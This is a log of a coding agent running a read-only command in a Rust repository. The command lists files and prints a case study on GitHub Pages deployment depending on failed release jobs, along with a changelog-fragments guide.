session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r = await tools.exec_command({cmd:\"find docs/case-studies -maxdepth 2 -type f -print | sort && find . -maxdepth 2 -type f | sort | sed -n '1,240p' && wc -l docs/case-studies/issue-*/* 2>/dev/null | sort -n | tail -30 && sed -n '1,260p' docs/case-studies/issue-3/README.md && sed -n '1,220p' changelog.d/README.md && sed -n '1,240p' .github/workflows/ci.yml 2>/dev/null\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":40000});\n[2026-07-12T04:02:42.525Z] [INFO] text(r.output);\n[2026-07-12T04:02:42.525Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:02:42.525Z] [INFO] \n[2026-07-12T04:02:42.771Z] [INFO] 2026-07-12T04:02:42.766415Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-6f055f3e-4a89-46db-a410-9c5034e13235 decision=approved source=Config event.timestamp=2026-07-12T04:02:42.766Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.771Z] [INFO] \n[2026-07-12T04:02:42.913Z] [INFO] 2026-07-12T04:02:42.912000Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-6f055f3e-4a89-46db-a410-9c5034e13235 arguments={\"cmd\":\"find docs/case-studies -maxdepth 2 -type f -print | sort && find . -maxdepth 2 -type f | sort | sed -n '1,240p' && wc -l docs/case-studies/issue-*/* 2>/dev/null | sort -n | tail -30 && sed -n '1,260p' docs/case-studies/issue-3/README.md && sed -n '1,220p' changelog.d/README.md && sed -n '1,240p' .github/workflows/ci.yml 2>/dev/null\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":40000} duration_ms=150 success=true output=Chunk ID: 907367\n[2026-07-12T04:02:42.913Z] [INFO] Wall time: 0.0000 seconds\n[2026-07-12T04:02:42.913Z] [INFO] Process exited with code 2\n[2026-07-12T04:02:42.913Z] [INFO] Original token count: 3777\n[2026-07-12T04:02:42.913Z] [INFO] Output:\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-1/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-1/requirements-and-solutions.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-1/research-link-foundation.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-1/research-nsm.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-1/research-popular-ontologies.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-11/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-11/analysis-crates-io.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-11/analysis-set-output.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-11/analysis-workflow-dispatch.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-11/online-research.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-17/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-19/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-21/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-27.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-29.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-31.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-33.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-21/browser-commander-rust.yml\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-25/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-29/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-3/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-32/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-34/README.md\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/COMMIT_EDITMSG\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/FETCH_HEAD\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/HEAD\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/config\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/description\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/index\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/packed-refs\n[2026-07-12T04:02:42.913Z] [INFO] ./.gitignore\n[2026-07-12T04:02:42.913Z] [INFO] ./.gitkeep\n[2026-07-12T04:02:42.913Z] [INFO] ./.pre-commit-config.yaml\n[2026-07-12T04:02:42.913Z] [INFO] ./CHANGELOG.md\n[2026-07-12T04:02:42.913Z] [INFO] ./CONTRIBUTING.md\n[2026-07-12T04:02:42.913Z] [INFO] ./Cargo.lock\n[2026-07-12T04:02:42.913Z] [INFO] ./Cargo.toml\n[2026-07-12T04:02:42.913Z] [INFO] ./LICENSE\n[2026-07-12T04:02:42.913Z] [INFO] ./README.md\n[2026-07-12T04:02:42.913Z] [INFO] ./REQUIREMENTS.md\n[2026-07-12T04:02:42.913Z] [INFO] ./ROADMAP.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20251227_224645_changeset_support.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20251229_143823_fix_ci_workflow_dependencies.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20251231_115800_fix_readme_script_references.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260107_apply_best_practices.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260108_171124_fix_changelog_check.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260108_171435_prevent_manual_version_modification.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260108_apply_lino_objects_codec_fixes.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260111_multi_language_support.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260119_best_practices_from_browser_commander.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260311_translate_scripts_to_rust.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260413-ci-cd-best-pra\n[2026-07-12T04:02:42.913Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:42.911Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.913Z] [INFO] 2026-07-12T04:02:42.912096Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-6f055f3e-4a89-46db-a410-9c5034e13235 duration_ms=150 success=true arguments_length=438 output_length=2086 output_line_count=58 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:42.912Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.913Z] [INFO] \n[2026-07-12T04:02:42.928Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_13\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"find docs/case-studies -maxdepth 2 -type f -print | sort && find . -maxdepth 2 -type f | sort | sed -n '1,240p' && wc -l docs/case-studies/issue-*/* 2>/dev/null | sort -n | tail -30 && sed -n '1,260p' docs/case-studies/issue-3/README.md && sed -n '1,220p' changelog.d/README.md && sed -n '1,240p' .github/workflows/ci.yml 2>/dev/null\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:42.928Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_13\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"find docs/case-studies -maxdepth 2 -type f -print | sort && find . -maxdepth 2 -type f | sort | sed -n '1,240p' && wc -l docs/case-studies/issue-*/* 2>/dev/null | sort -n | tail -30 && sed -n '1,260p' docs/case-studies/issue-3/README.md && sed -n '1,220p' changelog.d/README.md && sed -n '1,240p' .github/workflows/ci.yml 2>/dev/null\\\"\",\"aggregated_output\":\"docs/case-studies/issue-1/README.md\\ndocs/case-studies/issue-1/requirements-and-solutions.md\\ndocs/case-studies/issue-1/research-link-foundation.md\\ndocs/case-studies/issue-1/research-nsm.md\\ndocs/case-studies/issue-1/research-popular-ontologies.md\\ndocs/case-studies/issue-11/README.md\\ndocs/case-studies/issue-11/analysis-crates-io.md\\ndocs/case-studies/issue-11/analysis-set-output.md\\ndocs/case-studies/issue-11/analysis-workflow-dispatch.md\\ndocs/case-studies/issue-11/online-research.md\\ndocs/case-studies/issue-17/README.md\\ndocs/case-studies/issue-19/README.md\\ndocs/case-studies/issue-21/README.md\\ndocs/case-studies/issue-21/browser-commander-issue-27.md\\ndocs/case-studies/issue-21/browser-commander-issue-29.md\\ndocs/case-studies/issue-21/browser-commander-issue-31.md\\ndocs/case-studies/issue-21/browser-commander-issue-33.md\\ndocs/case-studies/issue-21/browser-commander-rust.yml\\ndocs/case-studies/issue-25/README.md\\ndocs/case-studies/issue-29/README.md\\ndocs/case-studies/issue-3/README.md\\ndocs/case-studies/issue-32/README.md\\ndocs/case-studies/issue-34/README.md\\n./.git/COMMIT_EDITMSG\\n./.git/FETCH_HEAD\\n./.git/HEAD\\n./.git/config\\n./.git/description\\n./.git/index\\n./.git/packed-refs\\n./.gitignore\\n./.gitkeep\\n./.pre-commit-config.yaml\\n./CHANGELOG.md\\n./CONTRIBUTING.md\\n./Cargo.lock\\n./Cargo.toml\\n./LICENSE\\n./README.md\\n./REQUIREMENTS.md\\n./ROADMAP.md\\n./changelog.d/20251227_224645_changeset_support.md\\n./changelog.d/20251229_143823_fix_ci_workflow_dependencies.md\\n./changelog.d/20251231_115800_fix_readme_script_references.md\\n./changelog.d/20260107_apply_best_practices.md\\n./changelog.d/20260108_171124_fix_changelog_check.md\\n./changelog.d/20260108_171435_prevent_manual_version_modification.md\\n./changelog.d/20260108_apply_lino_objects_codec_fixes.md\\n./changelog.d/20260111_multi_language_support.md\\n./changelog.d/20260119_best_practices_from_browser_commander.md\\n./changelog.d/20260311_translate_scripts_to_rust.md\\n./changelog.d/20260413-ci-cd-best-practices.md\\n./changelog.d/20260413_fix_cargo_token_fallback.md\\n./changelog.d/20260413_fix_crates_io_check.md\\n./changelog.d/20260413_fix_lookahead_regex.md\\n./changelog.d/20260414_fix_per_commit_diff.md\\n./changelog.d/20260415_fix_workspace_release_scripts.md\\n./changelog.d/20260427_070536_first_prototype.md\\n./changelog.d/20260427_083000_decouple_docs_deploy.md\\n./changelog.d/README.md\\n./data/allowlist-english.lino\\n./data/allowlist.lino\\n./examples/basic_usage.rs\\n./experiments/test-changelog-parsing.rs\\n./experiments/test-crates-io-check.rs\\n./experiments/test-detect-code-changes.sh\\n./experiments/test-version-check-dependencies.sh\\n./experiments/test-version-check.sh\\n./scripts/bump-version.rs\\n./scripts/check-changelog-fragment.rs\\n./scripts/check-file-size.rs\\n./scripts/check-release-needed.rs\\n./scripts/check-version-modification.rs\\n./scripts/collect-changelog.rs\\n./scripts/create-changelog-fragment.rs\\n./scripts/create-github-release.rs\\n./scripts/detect-code-changes.rs\\n./scripts/get-bump-type.rs\\n./scripts/get-version.rs\\n./scripts/git-config.rs\\n./scripts/publish-crate.rs\\n./scripts/rust-paths.rs\\n./scripts/version-and-commit.rs\\n./src/lib.rs\\n./src/loader.rs\\n./src/main.rs\\n./src/ontology.rs\\n./src/words.rs\\n      0 docs/case-studies/issue-19/ci-logs\\n      0 docs/case-studies/issue-19/pr-114-data\\n      0 docs/case-studies/issue-3/raw-data\\n      0 docs/case-studies/issue-3/template-data\\n     94 docs/case-studies/issue-25/README.md\\n     97 docs/case-studies/issue-32/README.md\\n    105 docs/case-studies/issue-1/research-popular-ontologies.md\\n    116 docs/case-studies/issue-21/browser-commander-issue-27.md\\n    124 docs/case-studies/issue-3/README.md\\n    124 docs/case-studies/issue-34/README.md\\n    126 docs/case-studies/issue-29/README.md\\n    129 docs/case-studies/issue-21/browser-commander-issue-31.md\\n    132 docs/case-studies/issue-11/analysis-set-output.md\\n    136 docs/case-studies/issue-21/browser-commander-issue-29.md\\n    139 docs/case-studies/issue-11/online-research.md\\n    140 docs/case-studies/issue-17/README.md\\n    151 docs/case-studies/issue-11/README.md\\n    153 docs/case-studies/issue-1/requirements-and-solutions.md\\n    156 docs/case-studies/issue-21/browser-commander-issue-33.md\\n    162 docs/case-studies/issue-1/research-link-foundation.md\\n    176 docs/case-studies/issue-1/research-nsm.md\\n    195 docs/case-studies/issue-11/analysis-workflow-dispatch.md\\n    227 docs/case-studies/issue-11/analysis-crates-io.md\\n    239 docs/case-studies/issue-19/README.md\\n    240 docs/case-studies/issue-21/README.md\\n    243 docs/case-studies/issue-1/README.md\\n    416 docs/case-studies/issue-21/browser-commander-rust.yml\\n   3820 total\\n# Issue 3 Case Study: Documentation Deployment Must Not Depend on Package Release\\n\\n## Summary\\n\\nIssue: [link-foundation/meta-ontology#3](https://github.com/link-foundation/meta-ontology/issues/3)\\n\\nThe GitHub Pages documentation deployment was coupled to package release jobs. When the package release path failed, the website deployment at `https://link-foundation.github.io/meta-ontology/` was skipped even though CI validation and the package build had already succeeded.\\n\\n## Collected Data\\n\\n- `raw-data/issue-3.json`: issue metadata and full issue body.\\n- `raw-data/issue-3-comments.json`: issue comments, empty at investigation time.\\n- `raw-data/pr-4*.json`: PR metadata, review comments, conversation comments, and reviews.\\n- `raw-data/main-runs.json`: recent main-branch workflow runs.\\n- `raw-data/main-run-24979900862.json` and `raw-data/main-run-24979900862.log.gz`: initial main push run metadata and logs.\\n- `raw-data/main-run-24983875003.json` and `raw-data/main-run-24983875003.log.gz`: run for merge commit `c162cc702f8de991634d97de8394763621d3349f`.\\n- `template-data/*-template-tree.txt`: CI/CD-related file tree snapshots from the JavaScript and Rust pipeline templates.\\n- `template-data/*-template-release.yml`: release workflow snapshots from both templates.\\n\\n## Timeline\\n\\n- 2026-04-27 06:26 UTC: main run `24979900862` started for the initial commit and failed in `Auto Release`.\\n- 2026-04-27 06:29 UTC: `Build Package` succeeded in run `24979900862`.\\n- 2026-04-27 06:30 UTC: `Auto Release` failed in `Check if version already released or no fragments`.\\n- 2026-04-27 06:30 UTC: `Deploy Rust Documentation` was skipped.\\n- 2026-04-27 08:11 UTC: main run `24983875003` started for merge commit `c162cc702f8de991634d97de8394763621d3349f` and reproduced the same pattern.\\n- 2026-04-27 08:13 UTC: `Build Package` succeeded in run `24983875003`.\\n- 2026-04-27 08:15 UTC: `Auto Release` failed, then `Deploy Rust Documentation` was skipped.\\n- 2026-04-27 08:25 UTC: issue 3 was opened to require website deployment regardless of package release success.\\n\\n## Requirements From the Issue\\n\\n1. Website deployment to GitHub Pages must work independently of package release success.\\n2. CI/CD files should be compared against the JavaScript and Rust pipeline templates.\\n3. Logs and related issue/PR data should be preserved under `docs/case-studies/issue-3`.\\n4. The case study should reconstruct the timeline, list requirements, identify root causes, and propose solutions.\\n5. Same issues found in referenced templates should be reported upstream with a reproducible example, workaround, and fix suggestion.\\n6. If data is insufficient, add debug output or verbose mode for future investigation.\\n\\n## Root Causes\\n\\n### Root Cause 1: Documentation Deployment Depends on Release Publication\\n\\nThe workflow configured `deploy-docs` with:\\n\\n```yaml\\nneeds: [auto-release, manual-release]\\n```\\n\\nand only allowed deployment when one of those release jobs succeeded. That makes documentation deployment depend on package release publication instead of on the package build. In both preserved main runs, `Build Package` succeeded but `Deploy Rust Documentation` was skipped after `Auto Release` failed.\\n\\nGitHub Actions supports job-level conditions and the `needs` context for dependent job results. The `needs..result` value can be `success`, `failure`, `cancelled`, or `skipped`, and job-level `if` expressions decide whether a job is sent to a runner. References:\\n\\n- GitHub Actions contexts reference: https://docs.github.com/en/actions/reference/workflows-and-actions/contexts\\n- GitHub Actions job conditions: https://docs.github.com/en/actions/how-tos/write-workflows/choose-when-workflows-run/control-jobs-with-conditions\\n\\n### Root Cause 2: Release Script Fails Under `RUSTFLAGS=-Dwarnings`\\n\\n`Auto Release` failed before crate publishing. The preserved logs show `rust-script scripts/check-release-needed.rs` failing because warnings are treated as errors:\\n\\n- `scripts/check-release-needed.rs:44`: unused `get_arg`\\n- `scripts/rust-paths.rs:106`: unused `get_cargo_lock_path`\\n- `scripts/rust-paths.rs:115`: unused `get_changelog_dir`\\n- `scripts/rust-paths.rs:124`: unused `get_changelog_path`\\n- `scripts/rust-paths.rs:133`: unused `needs_cd`\\n- `scripts/rust-paths.rs:138`: unused `parse_rust_root_from_args`\\n- `scripts/rust-paths.rs:258`: unused `main`\\n\\nThe shared `rust-paths.rs` helper is included by several `rust-script` binaries, and each binary intentionally uses only a subset of the helper API. That pattern needs an explicit dead-code allowance in the shared helper module, otherwise release-only script execution can fail even after normal `cargo clippy` and `cargo test` succeed.\\n\\n## Template Comparison\\n\\n### Rust Template\\n\\nThe Rust template currently has the same documentation deployment dependency pattern:\\n\\n```yaml\\ndeploy-docs:\\n  needs: [auto-release, manual-release]\\n```\\n\\nThis means the same failure mode can occur there. The upstream issue is tracked as `link-foundation/rust-ai-driven-development-pipeline-template#38`.\\n\\n### JavaScript Template\\n\\nThe JavaScript template does not have a GitHub Pages documentation deployment job, so the same website-specific issue was not found there. It does contain newer CI/CD practices worth preserving for future Rust workflow maintenance, especially main-only cancellation and avoiding unnecessary `always()` usage where normal cancellation/failure propagation is preferable.\\n\\n## Implemented Solution\\n\\n1. Changed `deploy-docs` to depend on `build`, not on `auto-release` or `manual-release`.\\n2. Kept deployment gated to successful package builds on main pushes and manual instant releases.\\n3. Removed the unused `get_arg` helper from `check-release-needed.rs`.\\n4. Marked the shared `rust-paths.rs` helper module with `#![allow(dead_code)]` because it is intentionally included by scripts that use different subsets of the API.\\n5. Added a CI/CD unit test that asserts `deploy-docs` depends on `build` and does not reference release publication job results.\\n\\n## Reproduction\\n\\nBefore the fix:\\n\\n1. Trigger the current main workflow with changelog fragments present.\\n2. Let `Build Package` succeed.\\n3. Cause `Auto Release` to fail in release-only scripting or package publication.\\n4. Observe `Deploy Rust Documentation` skipped because it needs the release jobs.\\n\\nThe preserved logs show this exact pattern in runs `24979900862` and `24983875003`.\\n\\n## Verification Plan\\n\\n- `cargo fmt --check`\\n- `cargo test --all-features --verbose`\\n- `cargo test --doc --verbose`\\n- `RUSTFLAGS=-Dwarnings HAS_FRAGMENTS=true rust-script scripts/check-release-needed.rs`\\n- `cargo clippy --all-targets --all-features`\\n- `rust-script scripts/check-file-size.rs`\\n\\n## Upstream Follow-Up\\n\\nFiled upstream Rust template issue: [link-foundation/rust-ai-driven-development-pipeline-template#38](https://github.com/link-foundation/rust-ai-driven-development-pipeline-template/issues/38)\\n\\nThe report includes:\\n\\n- Reproduction: `deploy-docs` depends on `auto-release` and `manual-release`; a failed release job skips Pages deployment even after build success.\\n- Workaround: rerun or manually deploy documentation after package release failures.\\n- Suggested fix: make `deploy-docs` depend on the successful validation/build job rather than release publication jobs.\\n# Changelog Fragments\\n\\nThis directory contains changelog fragments that will be collected into `CHANGELOG.md` during releases.\\n\\n## How to Add a Changelog Fragment\\n\\nWhen making changes that should be documented in the changelog, create a fragment file:\\n\\n```bash\\n# Create a new fragment with timestamp\\ntouch changelog.d/$(date +%Y%m%d_%H%M%S)_description.md\\n\\n# Or manually create a file matching the pattern: YYYYMMDD_HHMMSS_description.md\\n```\\n\\n## Fragment Format\\n\\nEach fragment should include a **frontmatter section** specifying the version bump type:\\n\\n```markdown\\n---\\nbump: patch\\n---\\n\\n### Fixed\\n- Description of bug fix\\n```\\n\\n### Bump Types\\n\\nUse semantic versioning bump types in the frontmatter:\\n\\n- **`major`**: Breaking changes (incompatible API changes)\\n- **`minor`**: New features (backward compatible)\\n- **`patch`**: Bug fixes (backward compatible)\\n\\n### Content Categories\\n\\nUse these categories in your fragment content:\\n\\n```markdown\\n---\\nbump: minor\\n---\\n\\n### Added\\n- Description of new feature\\n\\n### Changed\\n- Description of change to existing functionality\\n\\n### Fixed\\n- Description of bug fix\\n\\n### Removed\\n- Description of removed feature\\n\\n### Deprecated\\n- Description of deprecated feature\\n\\n### Security\\n- Description of security fix\\n```\\n\\n## Examples\\n\\n### Adding a new feature (minor bump)\\n\\n```markdown\\n---\\nbump: minor\\n---\\n\\n### Added\\n- New async processing mode for batch operations\\n```\\n\\n### Fixing a bug (patch bump)\\n\\n```markdown\\n---\\nbump: patch\\n---\\n\\n### Fixed\\n- Fixed memory leak in connection pool handling\\n```\\n\\n### Breaking change (major bump)\\n\\n```markdown\\n---\\nbump: major\\n---\\n\\n### Changed\\n- Renamed `process()` to `process_async()` - this is a breaking change\\n\\n### Removed\\n- Removed deprecated `legacy_mode` option\\n```\\n\\n## Why Fragments?\\n\\nUsing changelog fragments (similar to [Changesets](https://github.com/changesets/changesets) in JavaScript and [Scriv](https://scriv.readthedocs.io/) in Python):\\n\\n1. **No merge conflicts**: Multiple PRs can add fragments without conflicts\\n2. **Per-PR documentation**: Each PR documents its own changes\\n3. **Automated version bumping**: Version bump type is specified per-change\\n4. **Automated collection**: Fragments are automatically collected during release\\n5. **Consistent format**: Template ensures consistent changelog entries\\n\\n## How It Works\\n\\n1. **During PR**: Add a fragment file with your changes and bump type\\n2. **On merge to main**: The release workflow automatically:\\n   - Reads all fragment files and determines the highest bump type\\n   - Bumps the version in `Cargo.toml` accordingly\\n   - Collects fragments into `CHANGELOG.md`\\n   - Creates a git tag and GitHub release\\n   - Removes processed fragment files\\n\\n## Multiple PRs and Bump Priority\\n\\nWhen multiple PRs are merged before a release, all pending fragments are processed together. The **highest** bump type wins:\\n\\n- If any fragment specifies `major`, the release is a major version bump\\n- Otherwise, if any specifies `minor`, the release is a minor version bump\\n- Otherwise, the release is a patch version bump\\n\\nThis ensures that breaking changes are never missed, even when combined with smaller changes.\\n\\n## Default Behavior\\n\\nIf a fragment doesn't include a bump type in the frontmatter, it defaults to `patch`.\\n\",\"exit_code\":2,\"status\":\"failed\"}}\n[2026-07-12T04:02:42.928Z] [INFO] \n[2026-07-12T04:02:42.934Z] [INFO] 2026-07-12T04:02:42.930283Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_zNW9IATkrMDbSTlyvHls9Oy1 arguments=const r = await tools.exec_command({cmd:\"find docs/case-studies -maxdepth 2 -type f -print | sort && find . -maxdepth 2 -type f | sort | sed -n '1,240p' && wc -l docs/case-studies/issue-*/* 2>/dev/null | sort -n | tail -30 && sed -n '1,260p' docs/case-studies/issue-3/README.md && sed -n '1,220p' changelog.d/README.md && sed -n '1,240p' .github/workflows/ci.yml 2>/dev/null\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":40000});\n[2026-07-12T04:02:42.934Z] [INFO] text(r.output);\n[2026-07-12T04:02:42.934Z] [INFO]  duration_ms=327 success=true output=Script completed\n[2026-07-12T04:02:42.934Z] [INFO] Wall time 0.2 seconds\n[2026-07-12T04:02:42.934Z] [INFO] Output:\n[2026-07-12T04:02:42.934Z] [INFO] \n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-1/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-1/requirements-and-solutions.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-1/research-link-foundation.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-1/research-nsm.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-1/research-popular-ontologies.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-11/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-11/analysis-crates-io.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-11/analysis-set-output.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-11/analysis-workflow-dispatch.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-11/online-research.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-17/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-19/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-21/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-27.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-29.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-31.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-33.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-21/browser-commander-rust.yml\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-25/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-29/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-3/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-32/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-34/README.md\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/COMMIT_EDITMSG\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/FETCH_HEAD\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/HEAD\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/config\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/description\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/index\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/packed-refs\n[2026-07-12T04:02:42.934Z] [INFO] ./.gitignore\n[2026-07-12T04:02:42.934Z] [INFO] ./.gitkeep\n[2026-07-12T04:02:42.934Z] [INFO] ./.pre-commit-config.yaml\n[2026-07-12T04:02:42.934Z] [INFO] ./CHANGELOG.md\n[2026-07-12T04:02:42.934Z] [INFO] ./CONTRIBUTING.md\n[2026-07-12T04:02:42.934Z] [INFO] ./Cargo.lock\n[2026-07-12T04:02:42.934Z] [INFO] ./Cargo.toml\n[2026-07-12T04:02:42.934Z] [INFO] ./LICENSE\n[2026-07-12T04:02:42.934Z] [INFO] ./README.md\n[2026-07-12T04:02:42.934Z] [INFO] ./REQUIREMENTS.md\n[2026-07-12T04:02:42.934Z] [INFO] ./ROADMAP.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20251227_224645_changeset_support.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20251229_143823_fix_ci_workflow_dependencies.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20251231_115800_fix_readme_script_references.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260107_apply_best_practices.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260108_171124_fix_changelog_check.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260108_171435_prevent_manual_version_modification.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260108_apply_lino_objects_codec_fixes.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260111_multi_language_support.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260119_best_practices_from_browser_commander.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260311_translate_scripts_to_rust.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260413-ci-cd-best-practices.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260413_fix_cargo_token_fallback\n[2026-07-12T04:02:42.934Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:42.930Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.934Z] [INFO] 2026-07-12T04:02:42.930328Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_zNW9IATkrMDbSTlyvHls9Oy1 duration_ms=327 success=true arguments_length=490 output_length=2086 output_line_count=58 